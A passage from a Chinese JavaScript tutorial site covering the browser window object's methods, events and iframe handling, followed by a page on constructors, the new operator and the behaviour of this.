var windowB = window.open('windowB.html', 'WindowB');
windowB.window.name // "WindowB"
```

注意，如果新窗口和父窗口不是同源的（即不在同一个域），它们彼此不能获取对方窗口对象的内部属性。

下面是另一个例子。

```js
var w = window.open();
console.log('已经打开新窗口');
w.location = 'http://example.com';
```

上面代码先打开一个新窗口，然后在该窗口弹出一个对话框，再将网址导向`example.com`。

由于`open`这个方法很容易被滥用，许多浏览器默认都不允许脚本自动新建窗口。只允许在用户点击链接或按钮时，脚本做出反应，弹出新窗口。因此，有必要检查一下打开新窗口是否成功。

```js
var popup = window.open();
if (popup === null) {
  // 新建窗口失败
}
```

#### window.close()

`window.close`方法用于关闭当前窗口，一般只用来关闭`window.open`方法新建的窗口。

```js
popup.close()
```

该方法只对顶层窗口有效，`iframe`框架之中的窗口使用该方法无效。

#### window.stop()

`window.stop()`方法完全等同于单击浏览器的停止按钮，会停止加载图像、视频等正在或等待加载的对象。

```js
window.stop()
```

#### window.moveTo()

#### window.moveBy()

`window.moveTo()`方法用于移动浏览器窗口到指定位置。它接受两个参数，分别是窗口左上角距离屏幕左上角的水平距离和垂直距离，单位为像素。

```js
window.moveTo(100, 200)
```

上面代码将窗口移动到屏幕`(100, 200)`的位置。

`window.moveBy()`方法将窗口移动到一个相对位置。它接受两个参数，分别是窗口左上角向右移动的水平距离和向下移动的垂直距离，单位为像素。

```js
window.moveBy(25, 50)
```

上面代码将窗口向右移动25像素、向下移动50像素。

为了防止有人滥用这两个方法，随意移动用户的窗口，目前只有一种情况，浏览器允许用脚本移动窗口：该窗口是用`window.open()`方法新建的，并且窗口里只有它一个 Tab 页。除此以外的情况，使用上面两个方法都是无效的。

#### window.resizeTo()

#### window.resizeBy()

`window.resizeTo()`方法用于缩放窗口到指定大小。

它接受两个参数，第一个是缩放后的窗口宽度（`outerWidth`属性，包含滚动条、标题栏等等），第二个是缩放后的窗口高度（`outerHeight`属性）。

```js
window.resizeTo(
  window.screen.availWidth / 2,
  window.screen.availHeight / 2
)
```

上面代码将当前窗口缩放到，屏幕可用区域的一半宽度和高度。

`window.resizeBy()`方法用于缩放窗口。它与`window.resizeTo()`的区别是，它按照相对的量缩放，`window.resizeTo()`需要给出缩放后的绝对大小。

它接受两个参数，第一个是水平缩放的量，第二个是垂直缩放的量，单位都是像素。

```js
window.resizeBy(-200, -200)
```

上面的代码将当前窗口的宽度和高度，都缩小200像素。

#### window.scrollTo()

#### window.scroll()

#### window.scrollBy()

`window.scrollTo`方法用于将文档滚动到指定位置。它接受两个参数，表示滚动后位于窗口左上角的页面坐标。

```js
window.scrollTo(x-coord, y-coord)
```

它也可以接受一个配置对象作为参数。

```js
window.scrollTo(options)
```

配置对象`options`有三个属性。

* `top`：滚动后页面左上角的垂直坐标，即 y 坐标。
* `left`：滚动后页面左上角的水平坐标，即 x 坐标。
* `behavior`：字符串，表示滚动的方式，有三个可能值（`smooth`、`instant`、`auto`），默认值为`auto`。

```js
window.scrollTo({
  top: 1000,
  behavior: 'smooth'
});
```

`window.scroll()`方法是`window.scrollTo()`方法的别名。

`window.scrollBy()`方法用于将网页滚动指定距离（单位像素）。它接受两个参数：水平向右滚动的像素，垂直向下滚动的像素。

```js
window.scrollBy(0, window.innerHeight)
```

上面代码用于将网页向下滚动一屏。

如果不是要滚动整个文档，而是要滚动某个元素，可以使用下面三个属性和方法。

* Element.scrollTop
* Element.scrollLeft
* Element.scrollIntoView()

#### window.print()

`window.print`方法会跳出打印对话框，与用户点击菜单里面的“打印”命令效果相同。

常见的打印按钮代码如下。

```js
document.getElementById('printLink').onclick = function () {
  window.print();
}
```

非桌面设备（比如手机）可能没有打印功能，这时可以这样判断。

```js
if (typeof window.print === 'function') {
  // 支持打印功能
}
```

#### window.focus()

#### window.blur()

`window.focus()`方法会激活窗口，使其获得焦点，出现在其他窗口的前面。

```js
var popup = window.open('popup.html', 'Popup Window');

if ((popup !== null) && !popup.closed) {
  popup.focus();
}
```

上面代码先检查`popup`窗口是否依然存在，确认后激活该窗口。

`window.blur()`方法将焦点从窗口移除。

当前窗口获得焦点时，会触发`focus`事件；当前窗口失去焦点时，会触发`blur`事件。

#### window.getSelection()

`window.getSelection`方法返回一个`Selection`对象，表示用户现在选中的文本。

```js
var selObj = window.getSelection();
```

使用`Selection`对象的`toString`方法可以得到选中的文本。

```js
var selectedText = selObj.toString();
```

#### window.getComputedStyle()

#### window.matchMedia()

`window.getComputedStyle()`方法接受一个元素节点作为参数，返回一个包含该元素的最终样式信息的对象。

`window.matchMedia()`方法用来检查 CSS 的`mediaQuery`语句。

#### window.requestAnimationFrame()

`window.requestAnimationFrame()`方法跟`setTimeout`类似，都是推迟某个函数的执行。不同之处在于，`setTimeout`必须指定推迟的时间，`window.requestAnimationFrame()`则是推迟到浏览器下一次重流时执行，执行完才会进行下一次重绘。重绘通常是 16ms 执行一次，不过浏览器会自动调节这个速率，比如网页切换到后台 Tab 页时，`requestAnimationFrame()`会暂停执行。

如果某个函数会改变网页的布局，一般就放在`window.requestAnimationFrame()`里面执行，这样可以节省系统资源，使得网页效果更加平滑。因为慢速设备会用较慢的速率重流和重绘，而速度更快的设备会有更快的速率。

该方法接受一个回调函数作为参数。

```js
window.requestAnimationFrame(callback)
```

上面代码中，`callback`是一个回调函数。`callback`执行时，它的参数就是系统传入的一个高精度时间戳（`performance.now()`的返回值），单位是毫秒，表示距离网页加载的时间。

`window.requestAnimationFrame()`的返回值是一个整数，这个整数可以传入`window.cancelAnimationFrame()`，用来取消回调函数的执行。

下面是一个`window.requestAnimationFrame()`执行网页动画的例子。

```js
var element = document.getElementById('animate');
element.style.position = 'absolute';

var start = null;

function step(timestamp) {
  if (!start) start = timestamp;
  var progress = timestamp - start;
  // 元素不断向右移，最大不超过200像素
  element.style.left = Math.min(progress / 10, 200) + 'px';
  // 如果距离第一次执行不超过 2000 毫秒，
  // 就继续执行动画
  if (progress < 2000) {
    window.requestAnimationFrame(step);
  }
}

window.requestAnimationFrame(step);
```

上面代码定义了一个网页动画，持续时间是2秒，会让元素向右移动。

#### window.requestIdleCallback()

`window.requestIdleCallback()`跟`setTimeout`类似，也是将某个函数推迟执行，但是它保证将回调函数推迟到系统资源空闲时执行。也就是说，如果某个任务不是很关键，就可以使用`window.requestIdleCallback()`将其推迟执行，以保证网页性能。

它跟`window.requestAnimationFrame()`的区别在于，后者指定回调函数在下一次浏览器重排时执行，问题在于下一次重排时，系统资源未必空闲，不一定能保证在16毫秒之内完成；`window.requestIdleCallback()`可以保证回调函数在系统资源空闲时执行。

该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间，如果过了这个时间，回调函数不管系统资源有无空闲，都会执行。

```js
window.requestIdleCallback(callback[, options])
```

`callback`参数是一个回调函数。该回调函数执行时，系统会传入一个`IdleDeadline`对象作为参数。`IdleDeadline`对象有一个`didTimeout`属性（布尔值，表示是否为超时调用）和一个`timeRemaining()`方法（返回该空闲时段剩余的毫秒数）。

`options`参数是一个配置对象，目前只有`timeout`一个属性，用来指定回调函数推迟执行的最大毫秒数。该参数可选。

`window.requestIdleCallback()`方法返回一个整数。该整数可以传入`window.cancelIdleCallback()`取消回调函数。

下面是一个例子。

```js
requestIdleCallback(myNonEssentialWork);

function myNonEssentialWork(deadline) {
  while (deadline.timeRemaining() > 0) {
    doWorkIfNeeded();
  }
}
```

上面代码中，`requestIdleCallback()`用来执行非关键任务`myNonEssentialWork`。该任务先确认本次空闲时段有剩余时间，然后才真正开始执行任务。

下面是指定`timeout`的例子。

```js
requestIdleCallback(processPendingAnalyticsEvents, { timeout: 2000 });
```

上面代码指定，`processPendingAnalyticsEvents`必须在未来2秒之内执行。

如果由于超时导致回调函数执行，则`deadline.timeRemaining()`返回`0`，`deadline.didTimeout`返回`true`。

如果多次执行`window.requestIdleCallback()`，指定多个回调函数，那么这些回调函数将排成一个队列，按照先进先出的顺序执行。

### 事件

`window`对象可以接收以下事件。

#### load 事件和 onload 属性

`load`事件发生在文档在浏览器窗口加载完毕时。`window.onload`属性可以指定这个事件的回调函数。

```js
window.onload = function() {
  var elements = document.getElementsByClassName('example');
  for (var i = 0; i < elements.length; i++) {
    var elt = elements[i];
    // ...
  }
};
```

上面代码在网页加载完毕后，获取指定元素并进行处理。

#### error 事件和 onerror 属性

浏览器脚本发生错误时，会触发`window`对象的`error`事件。我们可以通过`window.onerror`属性对该事件指定回调函数。

```js
window.onerror = function (message, filename, lineno, colno, error) {
  console.log("出错了！--> %s", error.stack);
};
```

由于历史原因，`window`的`error`事件的回调函数不接受错误对象作为参数，而是一共可以接受五个参数，它们的含义依次如下。

* 出错信息
* 出错脚本的网址
* 行号
* 列号
* 错误对象

老式浏览器只支持前三个参数。

并不是所有的错误，都会触发 JavaScript 的`error`事件（即让 JavaScript 报错）。一般来说，只有 JavaScript 脚本的错误，才会触发这个事件，而像资源文件不存在之类的错误，都不会触发。

下面是一个例子，如果整个页面未捕获错误超过3个，就显示警告。

```js
window.onerror = function(msg, url, line) {
  if (onerror.num++ > onerror.max) {
    alert('ERROR: ' + msg + '\n' + url + ':' + line);
    return true;
  }
}
onerror.max = 3;
onerror.num = 0;
```

需要注意的是，如果脚本网址与网页网址不在同一个域（比如使用了 CDN），浏览器根本不会提供详细的出错信息，只会提示出错，错误类型是“Script error.”，行号为0，其他信息都没有。这是浏览器防止向外部脚本泄漏信息。一个解决方法是在脚本所在的服务器，设置`Access-Control-Allow-Origin`的 HTTP 头信息。

```http
Access-Control-Allow-Origin: *
```

然后，在网页的`<script>`标签中设置`crossorigin`属性。

```html
<script crossorigin="anonymous" src="//example.com/file.js"></script>
```

上面代码的`crossorigin="anonymous"`表示，读取文件不需要身份信息，即不需要 cookie 和 HTTP 认证信息。如果设为`crossorigin="use-credentials"`，就表示浏览器会上传 cookie 和 HTTP 认证信息，同时还需要服务器端打开 HTTP 头信息`Access-Control-Allow-Credentials`。

#### window 对象的事件监听属性

除了具备元素节点都有的 GlobalEventHandlers 接口，`window`对象还具有以下的事件监听函数属性。

* `window.onafterprint`：`afterprint`事件的监听函数。
* `window.onbeforeprint`：`beforeprint`事件的监听函数。
* `window.onbeforeunload`：`beforeunload`事件的监听函数。
* `window.onhashchange`：`hashchange`事件的监听函数。
* `window.onlanguagechange`: `languagechange`的监听函数。
* `window.onmessage`：`message`事件的监听函数。
* `window.onmessageerror`：`MessageError`事件的监听函数。
* `window.onoffline`：`offline`事件的监听函数。
* `window.ononline`：`online`事件的监听函数。
* `window.onpagehide`：`pagehide`事件的监听函数。
* `window.onpageshow`：`pageshow`事件的监听函数。
* `window.onpopstate`：`popstate`事件的监听函数。
* `window.onstorage`：`storage`事件的监听函数。
* `window.onunhandledrejection`：未处理的 Promise 对象的`reject`事件的监听函数。
* `window.onunload`：`unload`事件的监听函数。

### 多窗口操作

由于网页可以使用`iframe`元素，嵌入其他网页，因此一个网页之中会形成多个窗口。如果子窗口之中又嵌入别的网页，就会形成多级窗口。

#### 窗口的引用

各个窗口之中的脚本，可以引用其他窗口。浏览器提供了一些特殊变量，用来返回其他窗口。

* `top`：顶层窗口，即最上层的那个窗口
* `parent`：父窗口
* `self`：当前窗口，即自身

下面代码可以判断，当前窗口是否为顶层窗口。

```js
if (window.top === window.self) {
  // 当前窗口是顶层窗口
} else {
  // 当前窗口是子窗口
}
```

下面的代码让父窗口的访问历史后退一次。

```js
window.parent.history.back();
```

与这些变量对应，浏览器还提供一些特殊的窗口名，供`window.open()`方法、`<a>`标签、`<form>`标签等引用。

* `_top`：顶层窗口
* `_parent`：父窗口
* `_blank`：新窗口

下面代码就表示在顶层窗口打开链接。

```html
<a href="somepage.html" target="_top">Link</a>
```

#### iframe 元素

对于`iframe`嵌入的窗口，`document.getElementById`方法可以拿到该窗口的 DOM 节点，然后使用`contentWindow`属性获得`iframe`节点包含的`window`对象。

```js
var frame = document.getElementById('theFrame');
var frameWindow = frame.contentWindow;
```

上面代码中，`frame.contentWindow`可以拿到子窗口的`window`对象。然后，在满足同源限制的情况下，可以读取子窗口内部的属性。

```js
// 获取子窗口的标题
frameWindow.title
```

`<iframe>`元素的`contentDocument`属性，可以拿到子窗口的`document`对象。

```js
var frame = document.getElementById('theFrame');
var frameDoc = frame.contentDocument;

// 等同于
var frameDoc = frame.contentWindow.document;
```

`<iframe>`元素遵守同源政策，只有当父窗口与子窗口在同一个域时，两者之间才可以用脚本通信，否则只有使用`window.postMessage`方法。

`<iframe>`窗口内部，使用`window.parent`引用父窗口。如果当前页面没有父窗口，则`window.parent`属性返回自身。因此，可以通过`window.parent`是否等于`window.self`，判断当前窗口是否为`iframe`窗口。

```js
if (window.parent !== window.self) {
  // 当前窗口是子窗口
}
```

`<iframe>`窗口的`window`对象，有一个`frameElement`属性，返回`<iframe>`在父窗口中的 DOM 节点。对于非嵌入的窗口，该属性等于`null`。

```js
var f1Element = document.getElementById('f1');
var f1Window = f1Element.contentWindow;

f1Window.frameElement === f1Element // true
window.frameElement === null // true
```

#### window.frames 属性

`window.frames`属性返回一个类似数组的对象，成员是所有子窗口的`window`对象。可以使用这个属性，实现窗口之间的互相引用。比如，`frames[0]`返回第一个子窗口，`frames[1].frames[2]`返回第二个子窗口内部的第三个子窗口，`parent.frames[1]`返回父窗口的第二个子窗口。

注意，`window.frames`每个成员的值，是框架内的窗口（即框架的`window`对象），而不是`iframe`标签在父窗口的 DOM 节点。如果要获取每个框架内部的 DOM 树，需要使用`window.frames[0].document`的写法。

另外，如果`<iframe>`元素设置了`name`或`id`属性，那么属性值会自动成为全局变量，并且可以通过`window.frames`属性引用，返回子窗口的`window`对象。

```javascript
// HTML 代码为 <iframe id="myFrame">
window.myFrame // [HTMLIFrameElement]
frames.myframe === myFrame // true
```

另外，`name`属性的值会自动成为子窗口的名称，可以用在`window.open`方法的第二个参数，或者`<a>`和`<frame>`标签的`target`属性。

---

---
url: /skill/hwkwzxza/index.md
---
# JS 回顾 3
## 面向对象

面向对象编程（Object Oriented Programming，缩写为 OOP）是目前主流的编程范式，它将真实世界各种复杂的关系，抽象为一个个对象，然后由对象之间的分工与合作，完成对真实世界的模拟。

每一个对象都是功能中心，具有明确分工，可以完成接受信息、处理数据、发出信息等任务。

对象可以复用，通过继承机制还可以定制，因此，面向对象编程具有灵活、代码可复用、高度模块化等特点，容易维护和开发，比起由一系列函数或指令组成的传统的过程式编程（procedural programming），更适合多人合作的大型软件项目。

**（1）对象是单个实物的抽象。**

一本书、一辆汽车、一个人都可以是对象，一个数据库、一个网页、一个远程服务器连接也可以是对象。当实物被抽象成对象，实物之间的关系就变成了对象之间的关系，从而就可以模拟现实情况，针对对象进行编程。

**（2）对象是一个容器，封装了属性（property）和方法（method）。**

属性是对象的状态，方法是对象的行为（完成某种任务）。比如，我们可以把动物抽象为 `animal` 对象，使用“属性”记录具体是哪一种动物，使用“方法”表示动物的某种行为（奔跑、捕猎、休息等等）。

## 构造函数

面向对象编程的第一步，就是要生成对象。前面说过，对象是单个实物的抽象。通常需要一个模板，表示某一类实物的共同特征，然后对象根据这个模板生成。

典型的面向对象编程语言（比如 C++ 和 Java），都有“类”（class）这个概念。所谓“类”就是对象的模板，对象就是“类”的实例。但是，JavaScript 语言的对象体系，不是基于“类”的，而是基于构造函数（constructor）和原型链（prototype）。

JavaScript 语言使用构造函数（constructor）作为对象的模板。所谓”构造函数”，就是专门用来生成实例对象的函数。它就是对象的模板，描述实例对象的基本结构。一个构造函数，可以生成多个实例对象，这些实例对象都有相同的结构。

构造函数就是一个普通的函数，但具有自己的特征和用法：

```js
var Vehicle = function () {
  this.price = 1000;
};
```

`Vehicle` 就是构造函数。为了与普通函数区别，构造函数名字的第一个字母通常大写。

构造函数的特点有两个：

* 函数体内部使用了 `this` 关键字，代表了所要生成的对象实例。
* 生成对象的时候，必须使用 `new` 命令。

## New 命令

`new` 命令的作用，就是执行构造函数，返回一个实例对象

```js
var Vehicle = function () {
  this.price = 1000;
};

var v = new Vehicle();
v.price // 1000
```

为了保证构造函数必须与 `new` 命令一起使用，一个解决办法是，构造函数内部使用严格模式，即第一行加上 `use strict`。这样的话，一旦忘了使用 `new` 命令，直接调用构造函数就会报错。

```js
function Fubar(foo, bar){
  'use strict';
  this._foo = foo;
  this._bar = bar;
}

Fubar()
// TypeError: Cannot set property '_foo' of undefined
```

上面代码的 `Fubar` 为构造函数，`use strict` 命令保证了该函数在严格模式下运行。

由于严格模式中，函数内部的 `this` 不能指向全局对象，默认等于 `undefined`，导致不加 `new` 调用会报错（JavaScript 不允许对 `undefined` 添加属性）。

另一个解决办法，构造函数内部判断是否使用 `new` 命令，如果发现没有使用，则直接返回一个实例对象：

```js
function Cat(name, age, color) {
    if (!(this instanceof Cat)) {
        console.warn("Cat must be called with new keyword");
        return new Cat(name, age, color);
    }
    this.name = name;
    this.age = age;
    this.color = color;

    this.meow = function () {
        console.log(`${this.name} says Meow!`);
    }
}

const Whiskers1 = Cat("Whiskers", 3, "Tabby");
// Cat must be called with new keyword


const whiskers2 = new Cat("Whiskers", 3, "Tabby");
whiskers2.meow(); //  Whiskers says Meow!
```

### 原理

使用 `new` 命令时，它后面的函数依次执行下面的步骤。

1. 创建一个空对象，作为将要返回的对象实例。
2. 将这个空对象的原型，指向构造函数的 `prototype` 属性。
3. 将这个空对象赋值给函数内部的 `this` 关键字。
4. 开始执行构造函数内部的代码。

也就是说，构造函数内部，`this` 指的是一个新生成的空对象，所有针对 `this` 的操作，都会发生在这个空对象上。构造函数之所以叫“构造函数”，就是说这个函数的目的，就是操作一个空对象（即 `this` 对象），将其“构造”为需要的样子。

如果构造函数内部有 `return` 语句，而且 `return` 后面跟着一个对象，`new` 命令会返回 `return` 语句指定的对象；否则，就会不管 `return` 语句，返回 `this` 对象。

```js
var Vehicle = function () {
  this.price = 1000;
  return 1000;
};

(new Vehicle()) === 1000
// false
```

上面代码中，构造函数 `Vehicle` 的 `return` 语句返回一个数值。这时，`new` 命令就会忽略这个 `return` 语句，返回“构造”后的 `this` 对象。

但是，如果 `return` 语句返回的是一个跟 `this` 无关的新对象，`new` 命令会返回这个新对象，而不是 `this` 对象。这一点需要特别引起注意。

```js
var Vehicle = function (){
  this.price = 1000;
  return { price: 2000 };
};

(new Vehicle()).price
// 2000
```

上面代码中，构造函数 `Vehicle` 的 `return` 语句，返回的是一个新对象。`new` 命令会返回这个对象，而不是 `this` 对象。

另一方面，如果对普通函数（内部没有 `this` 关键字的函数）使用 `new` 命令，则会返回一个空对象。

```js
function getMessage() {
  return 'this is a message';
}

var msg = new getMessage();

msg // {}
typeof msg // "object"
```

上面代码中，`getMessage` 是一个普通函数，返回一个字符串。对它使用 `new` 命令，会得到一个空对象。

这是因为 `new` 命令总是返回一个对象，要么是实例对象，要么是 `return` 语句指定的对象。本例中，`return` 语句返回的是字符串，所以 `new` 命令就忽略了该语句。

`new` 命令简化的内部流程，可以用下面的代码表示：

```js
function _new(/* 构造函数 */ constructor, /* 构造函数参数 */ params) {
    // 将 arguments 对象转为数组
    var args = [].slice.call(arguments);
    // 取出构造函数
    var constructor = args.shift();
    // 创建一个空对象，继承构造函数的 prototype 属性
    var context = Object.create(constructor.prototype);
    // 执行构造函数
    var result = constructor.apply(context, args);
    // 如果返回结果是对象，就直接返回，否则返回 context 对象
    return (typeof result === 'object' && result != null) ? result : context;
}

// 实例
var actor = _new(Person, '张三', 28);
```

函数内部可以使用 `new.target` 属性，如果当前函数是 `new` 命令调用，`new.target` 指向当前函数，否则为 `undefined`。

```js
function f() {
  console.log(new.target === f);
}

f() // false
new f() // true
```

使用这个属性，可以判断函数调用的时候，是否使用 `new` 命令：

```js
function f() {
  if (!new.target) {
    throw new Error('请使用 new 命令调用！');
  }
  // ...
}

f() // Uncaught Error: 请使用 new 命令调用！
```

## 创建实例对象

构造函数作为模板，可以生成实例对象。但是，有时拿不到构造函数，只能拿到一个现有的对象。我们希望以这个现有的对象作为模板，生成新的实例对象，这时就可以使用 `Object.create()` 方法。

```js
var person1 = {
  name: '张三',
  age: 38,
  greeting: function() {
    console.log('Hi! I\'m ' + this.name + '.');
  }
};

var person2 = Object.create(person1);

person2.name // 张三
person2.greeting() // Hi! I'm 张三.
```

对象 `person1` 是 `person2` 的模板，后者继承了前者的属性和方法。

## this

`this` 关键字是一个非常重要的语法点

`this` 可以用在构造函数之中，表示实例对象。除此之外，`this` 还可以用在别的场合。但不管是什么场合，`this` 都有一个共同点：**它总是返回一个对象**。

简单说，`this` 就是属性或方法“当前”所在的对象。

比如 `this.property`， `this` 就代表 `property` 属性当前所在的对象。

```js
var person = {
  name: '张三',
  describe: function () {
    return '姓名：'+ this.name;
  }
};

person.describe()
// "姓名：张三"
```

上面代码中，`this.name` 表示 `name` 属性所在的那个对象。由于 `this.name` 是在 `describe` 方法中调用，而 `describe` 方法所在的当前对象是 `person`，因此 `this` 指向 `person`，`this.name` 就是 `person.name`。

由于对象的属性可以赋给另一个对象，所以属性所在的当前对象是可变的，即 `this` 的指向是可变的。

```js
var A = {
  name: '张三',
  describe: function () {
    return '姓名：'+ this.name;
  }
};

var B = {
  name: '李四'
};

B.describe = A.describe;
B.describe()
// "姓名：李四"
```

上面代码中，`A.describe` 属性被赋给 `B`，于是 `B.describe` 就表示 `describe` 方法所在的当前对象是 `B`，所以 `this.name` 就指向 `B.name`。

```js
function f() {
  return '姓名：'+ this.name;
}

var A = {
  name: '张三',
  describe: f
};

var B = {
  name: '李四',
  describe: f
};

A.describe() // "姓名：张三"
B.describe() // "姓名：李四"
```

函数 `f` 内部使用了 `this` 关键字，随着 `f` 所在的对象不同，`this` 的指向也不同。

只要函数被赋给另一个变量，`this` 的指向就会变。

```js
var A = {
  name: '张三',
  describe: function () {
    return '姓名：'+ this.name;
  }
};

var name = '李四';
var f = A.describe;
f() // "姓名：李四"
```

`A.describe` 被赋值给变量 `f`，内部的 `this` 就会指向 `f` 运行时所在的对象（本例是顶层对象）。

```html
<input type="text" name="age" size=3 onChange="validate(this, 18, 99);">

<script>
function validate(obj, lowval, hival){
  if ((obj.value < lowval) || (obj.value > hival))
    console.log('Invalid Value!');
}
</script>
```

上面代码是一个文本输入框，每当用户输入一个值，就会调用 `onChange` 回调函数，验证这个值是否在指定范围。浏览器会向回调函数传入当前对象，因此 `this` 就代表传入当前对象（即文本框），然后就可以从 `this.value` 上面读到用户的输入值。

总结一下，JavaScript 语言之中，一切皆对象，运行环境也是对象，所以函数都是在某个对象之中运行，`this` 就是函数运行时所在的对象（环境）。

这本来并不会让用户糊涂，但是 JavaScript 支持运行环境动态切换，也就是说，`this` 的指向是动态的，没有办法事先确定到底指向哪个对象。

### 实质

JavaScript 语言之所以有 this 的设计，跟内存里面的数据结构有关系。

```js
var obj = { foo:  5 };
```

上面的代码将一个对象赋值给变量 `obj`。

JavaScript 引擎会先在内存里面，生成一个对象 `{ foo: 5 }`，然后把这个对象的内存地址赋值给变量 `obj`。

也就是说，变量 `obj` 是一个地址（reference），后面如果要读取 `obj.foo`，引擎先从 `obj` 拿到内存地址，然后再从该地址读出原始的对象，返回它的 `foo` 属性。

原始的对象以字典结构保存，每一个属性名都对应一个属性描述对象。举例来说，上面例子的 `foo` 属性，实际上是以下面的形式保存的。

```js
{
  foo: {
    [[value]]: 5
    [[writable]]: true
    [[enumerable]]: true
    [[configurable]]: true
  }
}
```

`foo` 属性的值保存在属性描述对象的 `value` 属性里面。

这样的结构是很清晰的，问题在于属性的值可能是一个函数。

```js
var obj = { foo: function () {} };
```

这时，引擎会将函数单独保存在内存中，然后再将函数的地址赋值给 `foo` 属性的 `value` 属性。

```js
{
  foo: {
    [[value]]: 函数的地址
    ...
  }
}
```

由于函数是一个单独的值，所以它可以在不同的环境（上下文）执行。

```js
var f = function () {};
var obj = { f: f };

// 单独执行
f()

// obj 环境执行
obj.f()
```

JavaScript 允许在函数体内部，引用当前环境的其他变量。

```js
var f = function () {
  console.log(x);
};
```

函数体里面使用了变量 `x`。该变量由运行环境提供。

现在问题就来了，由于函数可以在不同的运行环境执行，所以需要有一种机制，能够在函数体内部获得当前的运行环境（context）。

所以，`this` 就出现了，它的设计目的就是在函数体内部，指代函数当前的运行环境。

```js
var f = function () {
  console.log(this.x);
}
```

函数体里面的 `this.x` 就是指当前运行环境的 `x`。

```js
var f = function () {
  console.log(this.x);
}

var x = 1;
var obj = {
  f: f,
  x: 2,
};

// 单独执行
f() // 1

// obj 环境执行
obj.f() // 2
```

函数 `f` 在全局环境执行，`this.x` 指向全局环境的 `x`；在 `obj` 环境执行，`this.x` 指向 `obj.x`。

### 使用场合

`this` 主要有以下几个使用场合。

**（1）全局环境**

全局环境使用 `this`，它指的就是顶层对象 `window`。

```js
this === window // true

function f() {
  console.log(this === window);
}
f() // true
```

不管是不是在函数内部，只要是在全局环境下运行，`this` 就是指顶层对象 `window`。

**（2）构造函数**

构造函数中的 `this`，指的是实例对象。

```js
var Obj = function (p) {
  this.p = p;
};
```

上面代码定义了一个构造函数 `Obj`，由于 `this` 指向实例对象，所以在构造函数内部定义 `this.p`，就相当于定义实例对象有一个 `p` 属性。

```js
var o = new Obj('Hello World!');
o.p // "Hello World!"
```

**（3）对象的方法**

如果对象的方法里面包含 `this`，`this` 的指向就是方法运行时所在的对象，该方法赋值给另一个对象，就会改变 `this` 的指向。

但是，这条规则很不容易把握：

```js
var obj ={
  foo: function () {
    console.log(this);
  }
};

obj.foo() // obj
```

`obj.foo` 方法执行时，它内部的 `this` 指向 `obj`。

下面这几种用法，都会改变 `this` 的指向。

```js
// 情况一
(obj.foo = obj.foo)() // window
// 情况二
(false || obj.foo)() // window
// 情况三
(1, obj.foo)() // window
```

上面代码中，`obj.foo` 就是一个值。这个值真正调用的时候，运行环境已经不是 `obj` 了，而是全局环境，所以 `this` 不再指向 `obj`。

可以这样理解，JavaScript 引擎内部，`obj` 和 `obj.foo` 储存在两个内存地址，称为地址一和地址二。

`obj.foo()` 这样调用时，是从地址一调用地址二，因此地址二的运行环境是地址一，`this` 指向 `obj`。

但是，上面三种情况，都是直接取出地址二进行调用，这样的话，运行环境就是全局环境，因此 `this` 指向全局环境。上面三种情况等同于下面的代码。

```js
// 情况一
(obj.foo = function () {
  console.log(this);
})()
// 等同于
(function () {
  console.log(this);
})()

// 情况二
(false || function () {
  console.log(this);
})()

// 情况三
(1, function () {
  console.log(this);
})()
```

如果 `this` 所在的方法不在对象的第一层，这时 `this` 只是指向当前一层的对象，而不会继承更上面的层。

```js
var a = {
  p: 'Hello',
  b: {
    m: function() {
      console.log(this.p);
    }
  }
};

a.b.m() // undefined
```

`a.b.m` 方法在 `a` 对象的第二层，该方法内部的 `this` 不是指向 `a`，而是指向 `a.b`，因为实际执行的是下面的代码。

```js
var b = {
  m: function() {
   console.log(this.p);
  }
};

var a = {
  p: 'Hello',
  b: b
};

(a.b).m() // 等同于 b.m()
```

如果要达到预期效果，只有写成下面这样。

```js
var a = {
  b: {
    m: function() {
      console.log(this.p);
    },
    p: 'Hello'
  }
};
```

如果这时将嵌套对象内部的方法赋值给一个变量，`this` 依然会指向全局对象。

```js
var a = {
  b: {
    m: function() {
      console.log(this.p);
    },
    p: 'Hello'
  }
};

var hello = a.b.m;
hello() // undefined
```

上面代码中，`m` 是多层对象内部的一个方法。

为求简便，将其赋值给 `hello` 变量，结果调用时，`this` 指向了顶层对象，为了避免这个问题，可以只将 `m` 所在的对象赋值给 `hello`，这样调用时，`this` 的指向就不会变。

```js
var hello = a.b;
hello.m() // Hello
```

### 注意点

#### 避免多层 this

由于 `this` 的指向是不确定的，所以切勿在函数中包含多层的 `this`

```js
var o = {
  f1: function () {
    console.log(this);
    var f2 = function () {
      console.log(this);
    }();
  }
}

o.f1()
// Object
// Window
```

上面代码包含两层 `this`，结果运行后，第一层指向对象 `o`，第二层指向全局对象，因为实际执行的是下面的代码。

```js
var temp = function () {
  console.log(this);
};

var o = {
  f1: function () {
    console.log(this);
    var f2 = temp();
  }
}
```

一个解决方法是在第二层改用一个指向外层 `this` 的变量。

```js
var o = {
  f1: function() {
    console.log(this);
    var that = this;
    var f2 = function() {
      console.log(that);
    }();
  }
}

o.f1()
// Object
// Object
```

上面代码定义了变量 `that`，固定指向外层的 `this`，然后在内层使用 `that`，就不会发生 `this` 指向的改变。

事实上，使用一个变量固定 `this` 的值，然后内层函数调用这个变量，是非常常见的做法，请务必掌握。

JavaScript 提供了严格模式，也可以硬性避免这种问题。严格模式下，如果函数内部的 `this` 指向顶层对象，就会报错。

```js
var counter = {
  count: 0
};
counter.inc = function () {
  'use strict';
  this.count++
};
var f = counter.inc;
f()
// TypeError: Cannot read property 'count' of undefined
```

上面代码中，`inc` 方法通过 `'use strict'` 声明采用严格模式，这时内部的 `this` 一旦指向顶层对象，就会报错。

#### 避免数组处理方法中的 this

数组的 `map` 和 `foreach` 方法，允许提供一个函数作为参数，这个函数内部应该谨慎使用 `this`。

```js
var o = {
  v: 'hello',
  p: [ 'a1', 'a2' ],
  f: function f() {
    this.p.forEach(function (item) {
      console.log(this.v + ' ' + item);
    });
  }
}

o.f()
// undefined a1
// undefined a2
```

`foreach` 方法的回调函数中的 `this`，其实是指向 `window` 对象，因此取不到 `o.v` 的值，实际上 `o.f()` 调用的是：

```js
[ 'a1', 'a2' ].forEach(function (item) { console.log(this.v + ' ' + item); });
```

**（1）用箭头函数（最常用）**：箭头函数不绑定自己的 `this`，会“继承外层的 this”（这里外层是 `o.f()`，所以是 `o`）

```js
f: function () {
  this.p.forEach((item) => {
    console.log(this.v + ' ' + item);
  });
}
```

**（2）forEach 的第二个参数传 thisArg**：`forEach(callback, thisArg)` 会把回调里的 `this` 设成你传的对象

```js
f: function () {
  this.p.forEach(function (item) {
    console.log(this.v + ' ' + item);
  }, this);
}
```

**（3）先存一下 this（老派但有效）**

```js
